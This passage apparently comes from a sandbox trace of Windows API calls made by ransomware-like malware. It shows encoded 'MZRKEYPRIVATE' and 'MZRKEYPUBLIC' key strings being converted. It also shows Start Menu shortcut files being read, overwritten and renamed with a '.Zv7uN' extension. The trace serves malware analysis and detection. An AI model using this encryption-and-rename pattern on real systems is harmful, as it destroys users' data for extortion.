Zmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f0e4cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0129.466] GetCurrentThreadId () returned 0xa30 [0129.466] GetCurrentThreadId () returned 0xa30 [0129.466] GetCurrentThreadId () returned 0xa30 [0129.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0129.467] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f1f52c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0129.467] GetCurrentThreadId () returned 0xa30 [0129.467] GetCurrentThreadId () returned 0xa30 [0129.468] GetCurrentThreadId () returned 0xa30 [0129.468] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.468] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0fc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0fc*=0) returned 0x0 [0129.468] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.468] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x5df [0129.468] SetFilePointer (in: hFile=0x1dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f0f4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f0f4*=0) returned 0x0 [0129.468] ReadFile (in: hFile=0x1dc, lpBuffer=0x1f27330, nNumberOfBytesToRead=0x5df, lpNumberOfBytesRead=0x18f108, lpOverlapped=0x0 | out: lpBuffer=0x1f27330*, lpNumberOfBytesRead=0x18f108*=0x5df, lpOverlapped=0x0) returned 1 [0129.473] CloseHandle (hObject=0x1dc) returned 1 [0129.473] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1dc [0129.475] WriteFile (in: hFile=0x1dc, lpBuffer=0x1f29360*, nNumberOfBytesToWrite=0x5df, lpNumberOfBytesWritten=0x18f114, lpOverlapped=0x0 | out: lpBuffer=0x1f29360*, lpNumberOfBytesWritten=0x18f114*=0x5df, lpOverlapped=0x0) returned 1 [0129.478] CloseHandle (hObject=0x1dc) returned 1 [0129.478] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Internet Explorer (No Add-ons).lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\internet explorer (no add-ons).lnk.zv7un")) returned 1 [0129.480] GetCurrentThreadId () returned 0xa30 [0129.480] GetCurrentThreadId () returned 0xa30 [0129.480] GetCurrentThreadId () returned 0xa30 [0129.480] GetCurrentThreadId () returned 0xa30 [0129.480] GetCurrentThreadId () returned 0xa30 [0129.480] GetCurrentThreadId () returned 0xa30 [0129.480] FindNextFileW (in: hFindFile=0x6aa0c0, lpFindFileData=0x18f240 | out: lpFindFileData=0x18f240*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d424a7b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x51a, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Private Character Editor.lnk", cAlternateFileName="PRIVAT~1.LNK")) returned 1 [0129.480] FileTimeToLocalFileTime (in: lpFileTime=0x18f254, lpLocalFileTime=0x18f1b4 | out: lpLocalFileTime=0x18f1b4) returned 1 [0129.480] FileTimeToDosDateTime (in: lpFileTime=0x18f1b4, lpFatDate=0x18f222, lpFatTime=0x18f220 | out: lpFatDate=0x18f222, lpFatTime=0x18f220) returned 1 [0129.480] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f148 | out: lpFileInformation=0x18f148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d71a60, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3d424a7b, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x51a)) returned 1 [0129.481] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\accessories\\system tools\\private character editor.lnk")) returned 0x20 [0129.482] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\System Tools\\Private Character Editor.lnk", dwFileAttributes=0x80) returned 1 [0129.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0129.484] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f0e4cc, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w